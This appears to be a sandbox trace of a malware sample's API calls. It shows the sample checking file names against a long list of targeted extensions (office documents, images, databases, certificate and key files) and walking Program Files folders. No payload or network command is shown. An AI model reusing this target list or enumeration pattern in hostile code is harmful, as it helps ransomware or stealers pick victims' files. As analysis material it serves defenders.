	[0179.755] lstrlenW (lpString=".djvu") returned 5
	[0179.755] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0179.755] lstrlenW (lpString=".dng") returned 4
	[0179.755] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0179.755] lstrlenW (lpString=".doc") returned 4
	[0179.755] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.755] lstrlenW (lpString=".docm") returned 5
	[0179.755] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0179.755] lstrlenW (lpString=".docx") returned 5
	[0179.755] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0179.755] lstrlenW (lpString=".dot") returned 4
	[0179.756] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0179.756] lstrlenW (lpString=".dotm") returned 5
	[0179.756] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0179.756] lstrlenW (lpString=".dotx") returned 5
	[0179.756] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0179.756] lstrlenW (lpString=".dpx") returned 4
	[0179.756] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0179.756] lstrlenW (lpString=".dqy") returned 4
	[0179.756] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0179.756] lstrlenW (lpString=".dsn") returned 4
	[0179.756] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0179.756] lstrlenW (lpString=".dt") returned 3
	[0179.756] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0179.756] lstrlenW (lpString=".dtd") returned 4
	[0179.756] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0179.756] lstrlenW (lpString=".dwg") returned 4
	[0179.756] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0179.756] lstrlenW (lpString=".dwt") returned 4
	[0179.756] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0179.756] lstrlenW (lpString=".dx") returned 3
	[0179.756] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0179.756] lstrlenW (lpString=".dxf") returned 4
	[0179.756] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0179.756] lstrlenW (lpString=".edml") returned 5
	[0179.756] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0179.756] lstrlenW (lpString=".efd") returned 4
	[0179.756] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0179.756] lstrlenW (lpString=".elf") returned 4
	[0179.756] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0179.756] lstrlenW (lpString=".emf") returned 4
	[0179.756] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0179.757] lstrlenW (lpString=".emz") returned 4
	[0179.757] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0179.757] lstrlenW (lpString=".epf") returned 4
	[0179.757] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0179.757] lstrlenW (lpString=".eps") returned 4
	[0179.757] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0179.757] lstrlenW (lpString=".epsf") returned 5
	[0179.757] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0179.757] lstrlenW (lpString=".epsp") returned 5
	[0179.757] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0179.757] lstrlenW (lpString=".erf") returned 4
	[0179.757] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0179.757] lstrlenW (lpString=".exr") returned 4
	[0179.757] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0179.757] lstrlenW (lpString=".f4v") returned 4
	[0179.757] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0179.757] lstrlenW (lpString=".fido") returned 5
	[0179.757] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0179.757] lstrlenW (lpString=".flm") returned 4
	[0179.757] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0179.757] lstrlenW (lpString=".flv") returned 4
	[0179.757] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0179.757] lstrlenW (lpString=".frm") returned 4
	[0179.757] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0179.757] lstrlenW (lpString=".fxg") returned 4
	[0179.757] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0179.757] lstrlenW (lpString=".geo") returned 4
	[0179.757] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0179.757] lstrlenW (lpString=".gif") returned 4
	[0179.758] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0179.758] lstrlenW (lpString=".grs") returned 4
	[0179.758] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0179.758] lstrlenW (lpString=".gz") returned 3
	[0179.758] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0179.758] lstrlenW (lpString=".h") returned 2
	[0179.758] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0179.758] lstrlenW (lpString=".hdr") returned 4
	[0179.758] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0179.758] lstrlenW (lpString=".hpp") returned 4
	[0179.758] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0179.758] lstrlenW (lpString=".hta") returned 4
	[0179.758] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0179.758] lstrlenW (lpString=".htc") returned 4
	[0179.758] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0179.758] lstrlenW (lpString=".htm") returned 4
	[0179.758] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0179.758] lstrlenW (lpString=".html") returned 5
	[0179.758] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0179.758] lstrlenW (lpString=".icb") returned 4
	[0179.758] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0179.758] lstrlenW (lpString=".ics") returned 4
	[0179.758] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0179.758] lstrlenW (lpString=".iff") returned 4
	[0179.758] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0179.758] lstrlenW (lpString=".inc") returned 4
	[0179.758] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0179.758] lstrlenW (lpString=".indd") returned 5
	[0179.758] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0179.758] lstrlenW (lpString=".ini") returned 4
	[0179.759] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0179.759] lstrlenW (lpString=".iqy") returned 4
	[0179.759] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0179.759] lstrlenW (lpString=".j2c") returned 4
	[0179.759] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0179.759] lstrlenW (lpString=".j2k") returned 4
	[0179.759] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0179.759] lstrlenW (lpString=".java") returned 5
	[0179.759] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0179.759] lstrlenW (lpString=".jp2") returned 4
	[0179.759] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0179.759] lstrlenW (lpString=".jpc") returned 4
	[0179.759] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0179.759] lstrlenW (lpString=".jpe") returned 4
	[0179.759] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0179.759] lstrlenW (lpString=".jpeg") returned 5
	[0179.759] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0179.759] lstrlenW (lpString=".jpf") returned 4
	[0179.759] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0179.759] lstrlenW (lpString=".jpg") returned 4
	[0179.759] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0179.759] lstrlenW (lpString=".jpx") returned 4
	[0179.759] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0179.759] lstrlenW (lpString=".js") returned 3
	[0179.759] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0179.759] lstrlenW (lpString=".jsf") returned 4
	[0179.759] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0179.759] lstrlenW (lpString=".json") returned 5
	[0179.759] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0179.759] lstrlenW (lpString=".jsp") returned 4
	[0179.759] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0179.759] lstrlenW (lpString=".kdc") returned 4
	[0179.760] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0179.760] lstrlenW (lpString=".kmz") returned 4
	[0179.760] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0179.760] lstrlenW (lpString=".kwm") returned 4
	[0179.760] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0179.760] lstrlenW (lpString=".lasso") returned 6
	[0179.760] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0179.760] lstrlenW (lpString=".lbi") returned 4
	[0179.760] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0179.760] lstrlenW (lpString=".lgf") returned 4
	[0179.760] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0179.760] lstrlenW (lpString=".lgp") returned 4
	[0179.760] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0179.760] lstrlenW (lpString=".log") returned 4
	[0179.760] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0179.760] lstrlenW (lpString=".m1v") returned 4
	[0179.760] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0179.760] lstrlenW (lpString=".m4a") returned 4
	[0179.760] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0179.760] lstrlenW (lpString=".m4v") returned 4
	[0179.760] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0179.760] lstrlenW (lpString=".max") returned 4
	[0179.760] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0179.760] lstrlenW (lpString=".md") returned 3
	[0179.760] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0179.760] lstrlenW (lpString=".mda") returned 4
	[0179.760] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0179.760] lstrlenW (lpString=".mdb") returned 4
	[0179.760] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0179.760] lstrlenW (lpString=".mde") returned 4
	[0179.760] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0179.760] lstrlenW (lpString=".mdf") returned 4
	[0179.761] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0179.761] lstrlenW (lpString=".mdw") returned 4
	[0179.761] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0179.761] lstrlenW (lpString=".mef") returned 4
	[0179.761] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0179.761] lstrlenW (lpString=".mft") returned 4
	[0179.761] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0179.761] lstrlenW (lpString=".mfw") returned 4
	[0179.761] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0179.761] lstrlenW (lpString=".mht") returned 4
	[0179.761] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0179.761] lstrlenW (lpString=".mhtml") returned 6
	[0179.761] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0179.761] lstrlenW (lpString=".mka") returned 4
	[0179.761] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0179.761] lstrlenW (lpString=".mkidx") returned 6
	[0179.761] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0179.761] lstrlenW (lpString=".mkv") returned 4
	[0179.761] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0179.761] lstrlenW (lpString=".mos") returned 4
	[0179.761] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0179.761] lstrlenW (lpString=".mov") returned 4
	[0179.761] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0179.761] lstrlenW (lpString=".mp3") returned 4
	[0179.761] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0179.761] lstrlenW (lpString=".mp4") returned 4
	[0179.761] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0179.761] lstrlenW (lpString=".mpeg") returned 5
	[0179.761] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0179.761] lstrlenW (lpString=".mpg") returned 4
	[0179.761] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0179.761] lstrlenW (lpString=".mpv") returned 4
	[0179.762] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0179.762] lstrlenW (lpString=".mrw") returned 4
	[0179.762] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0179.762] lstrlenW (lpString=".msg") returned 4
	[0179.762] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0179.762] lstrlenW (lpString=".mxl") returned 4
	[0179.762] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0179.762] lstrlenW (lpString=".myd") returned 4
	[0179.762] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0179.762] lstrlenW (lpString=".myi") returned 4
	[0179.762] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0179.762] lstrlenW (lpString=".nef") returned 4
	[0179.762] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0179.762] lstrlenW (lpString=".nrw") returned 4
	[0179.762] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0179.762] lstrlenW (lpString=".obj") returned 4
	[0179.762] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0179.762] lstrlenW (lpString=".odb") returned 4
	[0179.762] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0179.762] lstrlenW (lpString=".odc") returned 4
	[0179.762] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0179.762] lstrlenW (lpString=".odm") returned 4
	[0179.762] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0179.762] lstrlenW (lpString=".odp") returned 4
	[0179.762] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0179.762] lstrlenW (lpString=".ods") returned 4
	[0179.762] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0179.762] lstrlenW (lpString=".oft") returned 4
	[0179.762] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0179.762] lstrlenW (lpString=".one") returned 4
	[0179.762] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0179.763] lstrlenW (lpString=".onepkg") returned 7
	[0179.763] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0179.763] lstrlenW (lpString=".onetoc2") returned 8
	[0179.763] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0179.763] lstrlenW (lpString=".opt") returned 4
	[0179.763] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0179.763] lstrlenW (lpString=".oqy") returned 4
	[0179.763] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0179.763] lstrlenW (lpString=".orf") returned 4
	[0179.763] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0179.763] lstrlenW (lpString=".p12") returned 4
	[0179.763] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0179.763] lstrlenW (lpString=".p7b") returned 4
	[0179.763] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0179.763] lstrlenW (lpString=".p7c") returned 4
	[0179.763] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0179.763] lstrlenW (lpString=".pam") returned 4
	[0179.763] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0179.763] lstrlenW (lpString=".pbm") returned 4
	[0179.763] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0179.763] lstrlenW (lpString=".pct") returned 4
	[0179.763] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0179.763] lstrlenW (lpString=".pcx") returned 4
	[0179.763] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0179.763] lstrlenW (lpString=".pdd") returned 4
	[0179.763] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0179.763] lstrlenW (lpString=".pdf") returned 4
	[0179.763] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.763] lstrlenW (lpString=".pdp") returned 4
	[0179.763] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0179.763] lstrlenW (lpString=".pef") returned 4
	[0179.763] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0179.764] lstrlenW (lpString=".pem") returned 4
	[0179.764] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0179.764] lstrlenW (lpString=".pff") returned 4
	[0179.764] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0179.764] lstrlenW (lpString=".pfm") returned 4
	[0179.764] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0179.764] lstrlenW (lpString=".pfx") returned 4
	[0179.764] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0179.764] lstrlenW (lpString=".pgm") returned 4
	[0179.764] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0179.764] lstrlenW (lpString=".php") returned 4
	[0179.764] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0179.764] lstrlenW (lpString=".php3") returned 5
	[0179.764] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0179.764] lstrlenW (lpString=".php4") returned 5
	[0179.764] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0179.764] lstrlenW (lpString=".php5") returned 5
	[0179.764] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0179.764] lstrlenW (lpString=".phtml") returned 6
	[0179.764] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0179.764] lstrlenW (lpString=".pict") returned 5
	[0179.764] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0179.764] lstrlenW (lpString=".pl") returned 3
	[0179.765] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0179.765] lstrlenW (lpString=".pls") returned 4
	[0179.765] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0179.765] lstrlenW (lpString=".pm") returned 3
	[0179.765] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0179.765] lstrlenW (lpString=".png") returned 4
	[0179.765] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0179.765] lstrlenW (lpString=".pnm") returned 4
	[0179.765] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0179.765] lstrlenW (lpString=".pot") returned 4
	[0179.765] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0179.765] lstrlenW (lpString=".potm") returned 5
	[0179.765] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0179.765] lstrlenW (lpString=".potx") returned 5
	[0179.765] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0179.765] lstrlenW (lpString=".ppa") returned 4
	[0179.765] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0179.765] lstrlenW (lpString=".ppam") returned 5
	[0179.765] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0179.765] lstrlenW (lpString=".ppm") returned 4
	[0179.765] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0179.765] lstrlenW (lpString=".pps") returned 4
	[0179.765] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0179.765] lstrlenW (lpString=".ppsm") returned 5
	[0179.765] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0179.765] lstrlenW (lpString=".ppt") returned 4
	[0179.765] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.765] lstrlenW (lpString=".pptm") returned 5
	[0179.766] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0179.766] lstrlenW (lpString=".pptx") returned 5
	[0179.766] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0179.766] lstrlenW (lpString=".prn") returned 4
	[0179.766] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0179.766] lstrlenW (lpString=".ps") returned 3
	[0179.766] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0179.766] lstrlenW (lpString=".psb") returned 4
	[0179.766] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0179.766] lstrlenW (lpString=".psd") returned 4
	[0179.766] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0179.766] lstrlenW (lpString=".pst") returned 4
	[0179.766] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0179.766] lstrlenW (lpString=".ptx") returned 4
	[0179.766] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0179.766] lstrlenW (lpString=".pub") returned 4
	[0179.766] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0179.766] lstrlenW (lpString=".pwm") returned 4
	[0179.766] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0179.766] lstrlenW (lpString=".pxr") returned 4
	[0179.766] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0179.766] lstrlenW (lpString=".py") returned 3
	[0179.766] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0179.766] lstrlenW (lpString=".qt") returned 3
	[0179.766] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0179.766] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsSense.exe.mui", cAlternateFileName="")) returned 0
	[0179.766] FindClose (in: hFindFile=0x76e6e8 | out: hFindFile=0x76e6e8) returned 1
	[0179.770] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0179.770] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe304e38c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe304e38c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3bb568, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsSense.exe", cAlternateFileName="")) returned 1
	[0179.770] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0290920, ftCreationTime.dwHighDateTime=0x1d5cd6e, ftLastAccessTime.dwLowDateTime=0xfe93c0e0, ftLastAccessTime.dwHighDateTime=0x1d5bfcb, ftLastWriteTime.dwLowDateTime=0xfe93c0e0, ftLastWriteTime.dwHighDateTime=0x1d5bfcb, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="rc remember.exe", cAlternateFileName="RCREME~1.EXE")) returned 1
	[0179.770] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2f69567, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2f69567, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbcad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SenseCncProxy.exe", cAlternateFileName="")) returned 1
	[0179.770] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2f69567, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2f69567, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SenseCncPS.dll", cAlternateFileName="")) returned 1
	[0179.770] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2fb5a1e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2fb5a1e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x290800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SenseSampleUploader.exe", cAlternateFileName="")) returned 1
	[0179.771] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782516c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd6d17d57, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd6d17d57, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATPCSP.dll", cAlternateFileName="")) returned 1
	[0179.771] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782516c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd6d17d57, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd6d17d57, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATPCSP.dll", cAlternateFileName="")) returned 0
	[0179.771] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0179.771] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0179.771] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e75d729, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e75d729, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1
	[0179.771] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4057fb8
	[0179.771] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e75d729, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e75d729, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
